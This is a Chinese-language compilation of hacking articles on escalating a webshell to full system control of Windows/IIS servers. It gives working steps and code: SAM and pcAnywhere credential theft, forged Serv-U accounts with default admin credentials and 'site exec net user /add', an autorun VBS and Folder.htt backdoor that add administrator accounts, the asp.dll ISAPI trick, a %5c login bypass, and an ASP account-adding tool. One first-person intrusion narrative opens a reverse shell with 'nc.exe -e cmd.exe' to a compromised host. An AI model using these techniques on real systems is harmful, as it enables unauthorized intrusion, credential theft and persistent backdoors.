最全的伺服器提權

季海晨發表於2018-07-04
最全的WEBSHELL
c: d: e:..... 
-------------------------------------------------------------------
C:\Documents and Settings\All Users\「開始」選單\程式\ 
看這裡能不能跳轉,我們從這裡可以獲取好多有用的資訊比如Serv-U的路徑, 
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 
看能否跳轉到這個目錄,如果行那就最好了,直接下它的CIF檔案,破解得到pcAnywhere密碼,登陸 
c:\Program Files\serv-u\ 
C:\WINNT\system32\config\ 
下它的SAM,破解密碼 
c:\winnt\system32\inetsrv\data\ 
是erveryone 完全控制,很多時候沒作限制,把提升許可權的工具上傳上去,然後執行 
c:\prel 
C:\Program Files\Java Web Start\ 
c:\Documents and Settings\ 
C:\Documents and Settings\All Users\ 
c:\winnt\system32\inetsrv\data\ 
c:\Program Files\ 
c:\Program Files\serv-u\ 
C:\Program Files\Microsoft SQL Server\ 
c:\Temp\ 
c:\mysql\(如果伺服器支援PHP) 
c:\PHP(如果伺服器支援PHP) 
執行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"來提升許可權 
還可以用這段程式碼試提升,好象不是很理想的 
如果主機設定很變態,可以試下在c:\Documents and Settings\All Users\「開始」選單\程式\啟動"寫入bat,vbs等木馬。 
根目錄下隱藏autorun.inf 
C:\PROGRAM FILES\KV2004\ 綁 
D:\PROGRAM FILES\RISING\RAV\ 
C:\Program Files\Real\RealServer\ 
rar 
Folder.htt與desktop.ini 
將改寫的Folder.htt與desktop.ini,還有你的木馬或者是VBS或者是什麼,放到對方管理員最可能瀏覽的目錄下 
replace 替換法 捆綁 
指令碼 編寫一個啟動/關機指令碼 重起 
刪SAM 錯 
CAcls命令 
FlashFXP資料夾Sites.dat Sites.dat.bak Stats.dat Stats.dat.bak 
Ring的許可權提升21大法! 
以下全部是本人提權時候的總結 很多方法至今沒有機會試驗也沒有成功,但是我是的確看見別人成功過 
的。本人不才,除了第一種方法自己研究的,其他的都是別人的經驗總結。希望對朋友有幫助! 
1.radmin連線法 
條件是你許可權夠大,對方連防火牆也沒有。封裝個radmin上去,執行,開對方埠,然後radmin上去 
。本人從來米成功過。,埠到是給對方開啟了。 
2.paanywhere 
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 這裡下他的GIF 
檔案,在本地安裝pcanywhere上去 
------------------------------------------




3.SAM破解 
C:\windows\system32\config\ 
C:\WINNT\system32\config\ 下他的SAM 破解之 




-------------------------------------
4.SU密碼奪取 
C:\Documents and Settings\All Users\「開始」選單\程式\ 
引用:Serv-U,然後本地檢視屬性,知道路徑後,看能否跳轉 
進去後,如果有許可權修改ServUDaemon.ini,加個使用者上去,密碼為空 
[USER=WekweN|1] 
Password= 
HomeDir=c:\ 
TimeOut=600 
Maintenance=System 
Access1=C:\|RWAMELCDP 
Access1=d:\|RWAMELCDP 
Access1=f:\|RWAMELCDP 
SKEYvalues= 
這個使用者具有最高許可權,然後我們就可以ftp上去 quote site exec xxx 來提升許可權 


---------------------------------------------------------


5.c:\winnt\system32\inetsrv\data\ 
引用:就是這個目錄,同樣是erveryone 完全控制,我們所要做的就是把提升許可權的工具上傳上去, 
然後執行 --


---------------------------------------


6.SU溢位提權 
這個網上教程N多 不詳細講解了


------------------------------------- 


7.執行Csript 
引用:執行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"來提 
升許可權 
用這個cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps 
檢視有特權的dll檔案:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll 
再將asp.dll加入特權一族 
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的機子放的位置不一定一樣) 
我們現在加進去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" 
"C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" 
"C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32 
\inetsrv\asp.dll" 
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 來檢視是不是加進去了


---------------------------------


 8.指令碼提權 
c:\Documents and Settings\All Users\「開始」選單\程式\啟動"寫入bat,vbs 


----------------------------------


9.VNC 
這個是小花的文章 HOHO 
預設情況下VNC密碼存放在HKCU\Software\ORL\WinVNC3\Password 
我們可以用vncx4 
破解它,vncx4使用很簡單,只要在命令列下輸入 
c:\>vncx4 -W 
然後順序輸入上面的每一個十六進位制資料,沒輸完一個回車一次就行了。


----------------------------------------------- 
10.NC提權 
給對方來個NC 但是條件是你要有足夠的執行許可權 然後把它反彈到自己的電腦上 HOHO OK了 


----------------------------------------------------------


11.社會工程學之GUEST提權 
很簡單 檢視他的擁護 一般來說 看到帳戶以後 密碼儘量猜 可能使用者密碼一樣 也可能是他QQ號 郵 
箱號 手機號 儘量看看 HOHO 


--------------------------------
12.IPC空連線 
如果對方真比較白痴的話 掃他的IPC 如果運氣好還是弱口令 


-------------------------------------------------
13.替換服務 
這個不用說了吧?個人感覺相當複雜 




-----------------------------------------
14.autorun .inf 
autorun=xxx.exe 這個=後面自己寫 HOHO 加上只讀、系統、隱藏屬性 傳到哪個盤都可以的 不相信 
他不執行 




-------------------------------------------------------
15.desktop.ini與Folder.htt 
引用:首先,我們現在本地建立一個資料夾,名字不重要,進入它,在空白處點右鍵,選擇"自定義 
資料夾"(xp好像是不行的)一直下點,預設即可。完成後,你就會看到在此目錄下多了兩個名為Folder 
setting的檔案架與desktop.ini的檔案,(如果你看不到,先取消"隱藏受保護的作業系統檔案")然後 
我們在Folder setting目錄下找到Folder.htt檔案,記事本開啟,在任意地方加入以下程式碼: <OBJECT 
ID="RUNIT" WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="你的後門檔名"> 
</OBJECT> 然後你將你的後門檔案放在Folder setting目錄下,把此目錄與desktop.ini一起上傳到對方 
任意一個目錄下,就可以了,只要等管理員瀏覽了此目錄,它就執行了我們的後門 


-----------------------------------


16.su覆蓋提權 


本地安裝個su,將你自己的ServUDaemon.ini檔案用從他那下載下來的ServUDaemon.ini 覆蓋掉,重 
起一下Serv-U,於是你上面的所有配置都與他的一模一樣了 




--------------------------------------------------




17.SU轉發埠 
43958這個是 Serv -U 的本地管理埠。FPIPE.exe上傳他,執行命令: Fpipe –v –l 3333 –r 
43958 127.0.0.1 意思是將4444埠對映到43958埠上。 然後就可以在本地安裝一個Serv-u,新建一個 
伺服器,IP填對方IP,帳號為LocalAdministrator 密碼為#1@$ak#.1k;0@p 連線上後你就可以管理他的 
Serv-u了 


-----------------------------------------------------
18.SQL帳戶密碼洩露 
如果對方開了MSSQL伺服器,我們就可以通過用SQL聯結器加管理員帳號(可以從他的連線資料庫的 
ASP檔案中看到),因為MSSQL是預設的SYSTEM許可權。 
引用:對方沒有刪除xp_cmdshell 方法:使用Sqlexec.exe,在host 一欄中填入對方IP,User與Pass 
中填入你所得到的使用者名稱與密碼。format選擇xp_cmdshell"%s"即可。然後點選connect,連線上後就可 
以在CMD一欄中輸入你想要的CMD命令了 


-------------------------------------------------
19.asp.dll 
引用:因為asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的機子放的位置不一定相同 

我們現在加進去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" 
"C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" 
"C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32 
\inetsrv\asp.dll" 
好了,現在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 來檢視是不是加進去 
了,注意,用法中的get和set,一個是檢視一個是設定.還有就是你執行上面的你要到 
C:\Inetpub\AdminScripts>這個目錄下. 
那麼如果你是一個管理員,你的機子被人用這招把asp提升為system許可權,那麼,這時,防的方法就是把 
asp.dll T出特權一族,也就是用set這個命令,覆蓋掉剛才的那些東東. 


--------------------------------------


20.Magic Winmail 
前提是你要有個webshell 引用:http://www.eviloctal.com/forum/read.php?tid=3587這裡去看吧 
21.DBO…… 
其實 提升許可權的方式很多的 就看大家怎麼利用了 HOHO 加油吧 將伺服器控制到底! 
感謝noangel 
WEBSHELL許可權提升 
動網上傳漏洞,相信大家拿下不少肉雞吧,但是都是WEBSHELL,不能拿到系統許可權,要如何拿到系統許可權呢?這正是我們這次要討論的內容 
OK,進入我的WEBSHELL 
啊哈,不錯,雙CPU,速度應該跟的上,不拿下你我怎麼甘心啊 
輸入密碼,進入到裡面看看,有什麼好東西沒有,翻了下,好像也沒有什麼特別的東西,看看能不能進到其他的碟符,點了下C盤,不錯不錯,可以進去,這樣提升就大有希望了 
一 serv-u提升 
OK,看看他的PROGRAME裡面有些什麼程式,哦,有SERV-U,記得有次看到SERV-U有預設的使用者名稱和密碼,但是監聽的埠是43958,而且是隻有本地才能訪問的,但是我們有埠轉發工具的啊,不怕。先看看他的SERV-U的版本是多少,telnet XXX.XXX.XXX.XXX 21 
顯示竟然是3.0的,唉,不得不說這個管理員真的不稱職。後來完畢後掃描了下,也只有FTP的洞沒有補。既然是這樣,我們就開始我們的提升許可權了 
上傳FPIPE,埠轉發工具, 圖三 
在執行CMD命令裡輸入d:\\wwwroot\\fpipe.exe -v -l 81 -r 43958 127.0.0.1 意思是把本機的43598埠轉發到81埠 
然後開啟我們自己機子上的SERV-U,點Serv-U伺服器,點選單欄上的的伺服器,點新建伺服器,然後輸入IP,輸入埠,記得埠是剛剛我們轉發的 81埠。服務名稱隨便你喜歡,怎麼樣都行。然後是使用者名稱:LocalAdministrator 密碼:#l@$ak#.lk;0@P (密碼都是字母) 
確定,然後點剛剛建的伺服器,然後就可以看到已有的使用者,自己新建一個使用者,把所有許可權加上。也不鎖定根目錄 
接下來就是登陸了,登陸FTP一定要在CMD下登陸, 
進入後一般命令和DOS一樣,新增使用者的時候 
ftp>quote site exec net.exe user hk pass /add 
ftp>quote site exec net.exe localgroup administrators hk/add 
如果對方開了3389的話,就不用我教你怎麼做了,沒開的話,新建立IPC連線,在上傳木馬或者是開啟3389的工具 
二 
auto.ini 加 SHELL.VBS 
autorun.inf 
[autorun] 
open=shell.vbs 
shell.vbs 
dim wsh 
set wsh=createObject("WScript.Shell") 
wsh.run "net user guest /active:yes",0 
wsh.run "net user guest 520ls",0 
wsh.run "net localgroup administrators guest /add",0 
wsh.run "net user hkbme 520ls /add",0 
wsh.run "net localgroup administrators hkbme /add",0 
wsh.run "cmd.exe /c del autorun.inf",0 
wsh.run "cmd.exe /c del shell.vbs",0 
但是這樣要可以訪問到對方的根目錄。將這兩個檔案放到對方硬碟的根目錄下。當然你也可以直接執行木馬程式,還要一個木馬程式,但是語句就和最後兩句一樣,通過CMD執行木馬程式 
三 
Folder.htt與desktop.ini 
將改寫的Folder.htt與desktop.ini,還有你的木馬或者是VBS或者是什麼,放到對方管理員最可能瀏覽的目錄下,覺得一個不夠,可以多放幾個 
Folder.htt新增程式碼 
<OBJECT ID="RUNIT" WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="你的後門檔名"> 
</OBJECT> 
但是後門和這兩個檔案必須要放到一塊,有點問題,可以結合啟動VBS,執行結束後,刪除上傳的後門.就是CODEBASE="shell.vbs".shell寫法如上 
四 
replace 
替換法,可以替換正在執行的檔案。用這個幾乎可以馬上得到許可權,但是我沒有做過試驗,可以試下,將對方正在執行的檔案替換為和它檔名一樣的,捆綁了木馬的。為什麼不直接替換木馬呢?如果替換的是關鍵程式,那不是就直接掛了?所以還是捆綁好點 
格式 
REPLACE [drive1:][path1]filename [drive2:][path2] [/A] 
[/R] [/W] 
REPLACE [drive1:][path1]filename [drive2:][path2] 
[/R] [/S] [/W] 
 [drive1:][path1]filename 指定原始檔。 
 [drive2:][path2] 指定要替換檔案的 
              目錄。 
 /A 把新檔案加入目標目錄。不能和 
              /S 或 /U 命令列開關搭配使用。 
 /P 替換檔案或加入原始檔之前會先提示您 
              進行確認。 
 /R 替換隻讀檔案以及未受保護的 
              檔案。 
 /S 替換目標目錄中所有子目錄的檔案。 
              不能與 /A 命令選項 
              搭配使用。 
 /W 等您插入磁碟以後再執行。 
 /U 只會替換或更新比原始檔日期早的檔案。 
              不能與 /A 命令列開關搭配使用 
這個命令沒有試驗過,看能不能替換不能訪問的資料夾下的檔案,大家可以試驗下 
五 
指令碼 
編寫一個啟動/關機指令碼配置檔案scripts.ini,這個檔名是固定的,不能改變。內容如下: 
[Startup] 
0CmdLine=a.bat 
0Parameters= 
將檔案scripts.ini儲存到"C:\\winnt\\system32\\GroupPolicy\\Machine\\Scripts" 
A.BAT的內容可以是NET USER yonghu mima 
也可以是NET USER ADMINistrator XXX 
這樣可以恢復你想要得任意使用者名稱的密碼,也可以自己增加新的使用者,但是要依賴重啟,還有就是對SYSTEM32有寫的許可權 
六 
SAM 
如果可以訪問對方的SYSTEM32的話,刪除對方的SAM檔案,等他重啟以後就是ADMIN使用者密碼為空 
突然又有了想法,可以用REPLACE命令替換的嗎,可以把你的SAM檔案提取出來,上傳到他的任意目錄下,然後替換。不過不知道如果對SYSTEM32沒有許可權訪問的話,能不能實現替換 
-------------------------------------------------------------------------------- 
-- 
-- 
使用FlashFXP來提升許可權 最近各位一定得到不少肉雞吧,從前段時間的動網的upfile漏洞, 動力文章系統最新漏洞到first see發現的動網sql版本的一個超級大漏洞。有人一定忙的不易樂乎,大家的方法也不過是使用一下asp指令碼的後門罷了。至於提 升許可權的問題呵呵,很少有人能作一口氣完成。關鍵還是在提升許可權上做個問題上,不少伺服器設定的很BT,你的asp木馬可能都用不了,還那裡來的提升啊。我們得到webshell也就是個低階別的使用者的許可權,各種提升許可權方法是可謂五花八門啊,如何提升就看你自己的妙 招了。 
其一,如果伺服器上有裝了pcanywhere服務端,管理員為了便於管理也給了我們方便,到系統盤的 Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/中下載*.cif本地破解就使用pcanywhere連線就ok了。 
其二,如果對方有Serv-U大家不要罵我啊,通過修改ServUDaemon.ini和fpipe這軟體提升許可權應該是不成問 題吧。 
其三,通過替換系統服務來提升。 
其四,查詢conn和config這型別的檔案看能否得到sa或者mysql的相關密碼,可能會有所收穫等等。 
本人在一次無聊的入侵過程中發現了這個方法,使用Flashfxp也能提升許可權,但是成功率高不高就看你自己的運氣了 
本人www.xxx.com 通過bbs得到了一個webshell,放了個小馬(現在海陽的名氣太大了偶不敢放),而且已經將一段程式碼插入了N個檔案中,夠黑吧。提升許可權沒時間做。在我放假回家後,一看我暈bbs升級到動網sp2了我放的小馬也被K了,人家的BBS是access版本的。鬱悶啊!突然想起我將一個頁面插入了asp的後門,看看還有沒有希望了。輸www.xxx.com/xx.asp?id =1 好傢伙,還在!高興ing 
圖1 
於是上傳了一個asp的指令碼的後門,怎麼提升許可權呢? 
在這個網站的主機上游蕩了N分鐘,在C:\\ Program Files下發現了FlashFXP資料夾(跟我一樣使用這個軟體自己心裡暗想)圖2,於是就打了了Sites. dat這個檔案(編輯)這是什麼東西密碼和使用者名稱,而且密碼是加了密的。 
如果我把這些檔案copy回本地也就是我的計算機中,替換我本地的相應檔案會怎麼樣呢? 
於是我就將Sites.dat Sites.dat.bak Stats.dat Stats.dat.bak幾個檔案下載到我的計算機中替換了我電腦中flashfxp資料夾的相應檔案。開啟flashfxp 在站點中開啟站點管理器一項。乖 乖發財了 
對方管理員通過flashfxp連線的各個站點都在圖3,點選連線。通過了於是我們又有了一堆肉雞,我們有ftp許可權。上傳指令碼 木馬~ 呵呵。 
說了半天這提升許可權的事情一點沒講啊 
不要急,大家看看對方管理員的這站點管理器,有使用者名稱和密碼,密碼是星號的。可惜啊! 
又想起了在Sites.dat中也顯示了密碼和使用者名稱,而且密碼是加密的。 
現在的星號密碼會不會也是加了密的?看看就行了唄。 
怎麼看? 菜鳥了吧 手頭有個不錯的檢視星號的軟體,就是xp星號密碼檢視器,通過檢視跟Sites.dat中加密了密碼做比較。看圖4和圖5 的比較 很顯然在站點管理器中檢視到的密碼是明文顯示的。發財了吧 
下一步就是使用xp星號密碼檢視器這個軟體來提取密碼和使用者名稱。看者這些複雜的密碼,還真有點懷念當年玩sniff的時光。呵呵 
密碼為:b69ujkq6 hyndai790 s584p*fv4-c+ 98cq3jk4 3-8*ef./2z5+ 
使用者名稱:bn7865t nilei75 qm/-g57+3kn qm/-g57+3kn 5.e*82/+69 
(上述部分密碼和使用者名稱已經作了必要的修改) 
這麼多的資訊,按社會工程學的概念來說,沒有管理員的密碼。打死我也不相信。最終我得到了這個網站管理員的密碼從這堆東西中找到 的。 
我想這個問題應該反饋到flashfxp官方,讓他們在下個版本中修正這個漏洞或者說是錯誤。經過後來測試只要把含有密碼和使用者名稱的Sites.dat檔案替換到本地相應的檔案就可以在本地還原對方管理員的各個站點的密碼。希望大家在入侵的時候遇到fla shfxp的時候能想到這個方法,至少也可以得到一堆新的肉雞。不防試試?希望能給大家滲透帶來幫助。 
-------------------------------------------------------------------------------- 
-- 
-- 
將asp許可權提到最高by: cnqing from:http://friend.91eb.com 
本來是要寫個提權asp木馬的,可惜時間不是太多功底也不是太深。先把原理方法告訴大家好了。簡單說說,說的太麻煩沒有必要。懂了就行。 
原理: 
asp檔案的教本解釋是由asp.dll執行的。由dllhost.exe啟動的。身分是IWAN_NAME。若是把asp.dll放到inprocesslsapiapps中那它就是由inetifo.exe直接啟動。身份是system 
方法: 
第一步。 
得到inprocesslsapiapps內容,用命令"cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs get w3svc/inprocessisapiapps"。將得到的一組dll複製下來。 
第二步 
寫一個bat內容為"cscript C:\\Inetpub\\AdminScripts\\ adsutil vbs set w3svc/inprpocessisapiapps "C:\\Inetpub\\AdminScripts\\asp.dll" ····· 
省略號為複製下的內容。中間用空格分開不要帶回車符 
最後執行這個bat就行了。 
例如: 
我用"cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs get w3svc/inprocessisapiapps"得到 
"c:\\winnt\\system32\\inetsrv\\httpext.dll" 
"c:\\winnt\\system32\\inetsrv\\httpodbc.dll" 
"C:\\WINNT\\system32\\inetsrv\\ssinc.dll" 
"C:\\WINNT\\System32\\msw3prt.dll" 
"C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_aut\\author.dll" 
"C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_adm\\admin.dll" 
"C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\shtml.dll" 
那麼你的bat就應該是: 
cscript C:\\Inetpub\\AdminScripts\\adsutil vbs set w3svc/inprpocessisapiapps "C:\\Inetpub\\AdminScripts\\asp.dll" "c:\\winnt\\system32\\inetsrv\\httpext.dll" "c:\\winnt\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\System32\\msw3prt.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_aut\\author.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_adm\\admin.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\shtml.dll" 
已測試成功!! 
-------------------------------------------------------------------------------- 
-- 
-- 
利用%5c繞過驗證 
利用%5c繞過驗證 
--------------------------------------- 
lake2(http://mrhupo.126.com) 
2004-11-27 
--------------------------------------- 
說到%5c,你是不是想起了當前流行的那個%5c暴庫漏洞,呵呵,本文就是對%5c利用的探索(呵呵,當然有我提出的新東東,或許對你有幫助哦^_^)。 
好,我們先追根溯源,找到那個漏洞的老底。看看綠盟2001年的漏洞公告:http://www.nsfocus.net/index.php?ac...iew&bug_id=1429 
N 年以前利用這個漏洞可以實現目錄遍歷,雖然微軟出了補丁,不過好像補丁是用來限制iis只能訪問虛擬目錄的,所以漏洞還是存在,只不過利用方式變了。對 iis來說,提交一個含有%5c的url能夠找到檔案,但是該檔案裡以相對路徑引用的其他檔案卻找不到了(%5c是\\的url編碼,iis跳轉到上一級目錄去找,當然找不到;頭暈了吧,哈哈,我也頭暈啊)。 
後來這個漏洞就被牛人挖掘出來了,也就是傳說中的%5c暴庫:由於連線資料庫的檔案引用的相對路徑,提交%5c找不到檔案,所以導致出錯,iis就會老老實實的說出資料庫的路徑(不明白?找google)。 
一個偶然的機會我發現還可以利用%5c繞過asp的驗證;當我們暴庫失敗的時候不妨試試。 
廢話少說,看下面的程式碼: 
<!--#INCLUDE file="conn.asp" --> 
<% 
guest_user=trim(request("guest_user")) 
guest_password=trim(request("guest_password")) 
Set rs= Server.createObject("ADODB.Recordset") 
sql="select * from admin where id=1" 
rs.open sql,conn,3,2 
readuser=rs("guest_user") 
readpassword=rs("guest_password") 
if readuser<>guest_user or readpassword<>guest_password then 
response.write "請輸入正確地管理員密碼!" 
response.end 
else 
session("admin")=1 \'登陸後寫入seesion中儲存 
response.write("登陸成功,請返回資訊頁") 
end if 
%> 
看到沒有,要想通過驗證必須讓資料庫裡的使用者名稱密碼與提交的一致;想到什麼?讓我們再看看資料庫連線檔案程式碼: 
<% 
on error resume next 
set conn=server.createobject("adodb.connection") 
DBPath = Server.MapPath("guestbook.asp") 
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath 
%> 
啊,有容錯語句不能暴庫!等等,如果提交%5c資料庫找不到,由於容錯,所以程式會繼續執行,那麼說來從資料庫得到的使用者名稱密碼皆為空(想想有時暴庫失敗是不是看到空空的框架,因為資料都是空嘛),哈哈,這樣我們就繞過驗證了! 
知道怎麼做了吧,把登陸頁面儲存到本地,修改提交的url,把最後一個/改成%5c,使用者名稱密碼用空格(有的程式會檢查使用者名稱密碼是否為空,空格會被程式過濾),提交,就ok了。 
誒,各位不要以為我自己沒事寫段程式碼來搗鼓,實際上這個是我們學校一個高手做的留言板程式,就掛在學校的主頁,呵呵。 
既然弄懂了原理,當然要找實際漏洞啦,自然是拿大名鼎鼎的"洞"網論壇開刀。不過失敗了,因為它的資料庫連線檔案裡有這麼一段: 
If Err Then 
err.Clear 
Set Conn = Nothing 
Response.Write "資料庫連線出錯,請檢查連線字串。" 
Response.End 
End If 
資料庫找不到程式就結束了,呵呵,空歡喜一場。 
接著又去down了bbsxp論壇,開啟資料庫連線檔案,暈,根本沒有容錯語句;呵呵,不過可以暴庫哦。 
我又不是BT,所以不去找事了,寫篇文章,算是給各位高手提供資料吧。 
總結一下這個攻擊方法成功的條件:1、資料庫連線用的相對路徑且僅有簡單的容錯語句;2、伺服器iis版本為4或5;3、程式裡不檢查空字元或者檢查時不過濾空格而比較時過濾空格;4、程式不能在一級目錄 
至於防範,呵呵,既然攻擊條件知道了,防範措施自然也出來了^_^ 
-------------------------------------------------------------------------------- 
-- 
-- 
新增超級使用者的.asp程式碼[藍屏的原創,凱文改進,Ms未公佈的漏洞] 
作者:藍屏,凱文 文章來源:冰點極限 
其實上個禮拜我和凱文就在我的肉雞上測試了,還有河馬史詩.結果是在user許可權下成功新增Administrators組的使用者了(雖然我不敢相信我的眼睛). 
上次凱文不發話,我不敢釋出啊....現在在他的blog 上看到他釋出了,就轉來了咯(比我上次測試時還改進了一點,加了個表單).這下大家有福咯``` 
反正程式碼是對的,但是很少能成功,具體的看運氣了。。呵呵,下一步我想把他整合到海洋裡面去。嘿嘿。 
<head>.network物件指令碼許可權提升漏洞利用工具</head> 
<form action="useradd.asp" method=post> 
使用者:<input name="username" type="text" value="kevin1986"><br> 
密碼:<input name="passwd" type="password"><br> 
<input type="submit" value="添 加"> 
</form> 
<%@codepage=936 
on error resume next 
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then 
response.write "iP !s n0T RiGHt" 
else 
if request("username")<>"" then 
username=request("username") 
passwd=request("passwd") 
Response.Expires=0 
Session.TimeOut=50 
Server.ScriptTimeout=3000 
set lp=Server.createObject("WSCRIPT.NETWORK") 
oz="WinNT://"&lp.ComputerName 
Set ob=GetObject(oz) 
Set oe=GetObject(oz&"/Administrators,group") 
Set od=ob.create("user",username) 
od.SetPassword passwd 
od.SetInfo 
oe.Add oz&"/"&username 
if err then 
response.write "哎~~今天你還是別買6+1了……省下2元錢買瓶可樂也好……" 
else 
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登入")>0 then 
response.write "雖然沒有錯誤,但是好象也沒建立成功.你一定很鬱悶吧" 
else 
Response.write "OMG!"&username&"帳號居然成了!這可是未知漏洞啊.5,000,000RMB是你的了" 
end if 
end if 
else 
response.write "請輸入輸入使用者名稱" 
end if 
end if 
%> 
如何繞過防火牆提升許可權 
本文講的重點是webshell許可權的提升和繞過防火牆,高手勿笑。 
廢話少說,我們們進入正題。 
首先確定一下目標:http://www.sun***.com ,常見的虛擬主機。利用Upfile的漏洞相信大家獲得webshell不難。我們這次獲得這個webshell,不是DVBBS,而是自由動力3.6的軟體上傳過濾不嚴。網站http://www.sun***.com/lemon/Index.asp 是自由動力3.6文章系統。Xr運用 WinHex.exe和WSockExpert.exe上傳一個網頁木馬newmm.asp,用過動鯊的 door.exe的人都知道,這個是上傳asp木馬內容的。於是,上傳海洋2005a,成功獲得webshell。 
測試一下許可權,在cmd裡執行set,獲得主機一些資訊,系統盤是D盤,也說明了我們的webshell有執行許可權的。那我們看看C盤有什麼呢?難道是雙系統?瀏覽後發現沒有什麼系統檔案,只有一些垃圾檔案,暈死。沒關係,再來檢查一下,虛擬主機都有serv-u的,這臺也不例外,是5.0.0.8的。呵呵,是有本地溢位的呀,挖哈哈。 
思路:上傳serv-u本地溢位檔案srv.exe和nc.exe利用nc來反連線獲得系統shell。大家是不是發現海洋2005a那個上傳的元件不好用(反正我總遇到這個問題),沒關係,用rain改的一個無元件上傳,一共有3個檔案,up.htm, upload.asp和 uploadclass.asp。upload.asp和uploadclass.asp上傳到同一個資料夾,up.htm是本地用的,修改up.htm 裡的連結地址為:http://www.sun***.com/lemon/upload.asp就可以上傳了。 
傳上了srv.exe和nc.exe在H:\\long\\sun***\\lemon(網站目錄)後,發現沒有執行許可權。沒關係,根據經驗,一般系統下 D: \\Documents and Settings\\All Users\\是應該有執行許可權的。於是想把檔案copy過去,但是發現我們的 webshell沒有對D盤寫的許可權,暈死。 
可以瀏覽D:\\program files\\serv-u\\ServUDaemon.ini,不能改,難道要破解serv-u的密碼,暈,不想。 
不可以這麼就洩氣了,我突然想到為什麼系統不放在C盤了,難道C盤是FAT32分割槽的?(後來證明了我們的想法。這裡說一下,如果主機有win98的系統盤,那裡99%是FAT32分割槽的。我們還遇到過裝有Ghost的主機,為了方便在DOS下備份,它的備份盤一般都是FAT分割槽的。)如果系統盤是 FAT32分割槽,則網站就沒有什麼安全性可言了。雖然C盤不是系統盤,但是我們有執行許可權。呵呵,copy srv.exe和nc.exe到c:\\,執行 srv.exe "nc.exe –e cmd.exe 202.*.*.* 888",這裡的202.*.*.*是我們的肉雞,在這之前我們已經在肉雞上執行了nc –l –p 888。我們在學校內網裡,沒有公網ip,不爽-ing。 
我們成功獲得一個系統shell連上肉雞。(看起來簡單,其實這裡我們也遇到過挫折,我們發現有些版本的nc居然沒有-e這個引數,還以為全世界nc功能都一樣。後來又發現不同版本的nc互連不成功,會出現亂碼,沒辦法用。為此,上傳 n次,錯誤n次,傻了n次,後來終於成功了。做黑客還真得有耐心和恆心。) 
高興之餘,我們仍不滿足,因為這個shell實在是太慢了。於是,想用我們最常用的Radmin,其實管理員一按Alt+Ctrl+Del,看程式就能發現 r_server了,但是還是喜歡用它,是因為不會被查殺。好了,上傳admdll.dll,raddrv.dll,r_server.exe到H:\\ long\\sun***\\lemon,再用剛才nc得到的 shell把它們copy到d:\\winnt\\system32\\下,分別執行: r_server /install , net start r_server , r_server /pass:rain /save 。 
一陣漫長的等待,終於顯示成功了。興沖沖用radmin連上去,發現連線失敗。暈死,忘了有防火牆了。上傳pslist和pskill上去,發現有 backice,木馬克星等。Kill掉他們雖然可以登陸,但伺服器重啟後還是不行,終不是長久之計呀。防火牆是不防21,80等埠的,於是,我們的思路又回到了serv-u上了。把他的 ServUDaemon.ini下載下來,覆蓋本機的ServUDaemon.ini,在本機的serv-u上新增一個使用者名稱為xr,密碼為rain的系統帳號,加上所有許可權。再用老辦法,上傳,用shell寫入D:\\program files\\serv-u\ \裡,覆蓋掉原來的ServUDaemon.ini。雖然又等了n長時間,但是成功了,於是用flashfxp連上,發生 530錯誤。鬱悶,怎麼又失敗了。(根據經驗這樣應該就可以了,但為什麼不行沒有想通,請高手指點。) 
不管了,我們重啟serv-u就ok 了,怎麼重啟呢,開始想用 shutdown重啟系統,但那樣我們就失去了nc這個shell,還可能被發現。後來,眼睛一亮,我們不是有pskill嗎?剛才用pslist發現有這個程式:ServUDaemon 。把它kill了。然後再執行D:\\program files\\serv-u\\ ServUAdmin.exe ,這裡要注意不是ServUDaemon.exe 。 
好了,到這裡,我們直接ftp上去吧,ls一下,哈哈,系統盤在我的掌握下。我們能不能執行系統命令呢?是可以的,這樣就可以: 
ftp>quote site exec net user xr rain /add 
在webshell上執行net user,就可以看見新增成功了。 
整個入侵滲透到這就結束了,在一陣後清理打掃後。我們就開始討論了。其實,突破防火牆有很多好的rootkit可以做到的,但是我們覺得系統自帶的服務才是最安全的後門。 
-------------------------------------------------------------------------------- 
-- 
-- 
asp.dll解析成system提升許可權 
網路上傳統的提升asp許可權為系統的有兩種: 
1.圖形化下的,把預設站點---->主目錄--->應用程式保護設定為低,這樣就可以把asp許可權設定為system. 
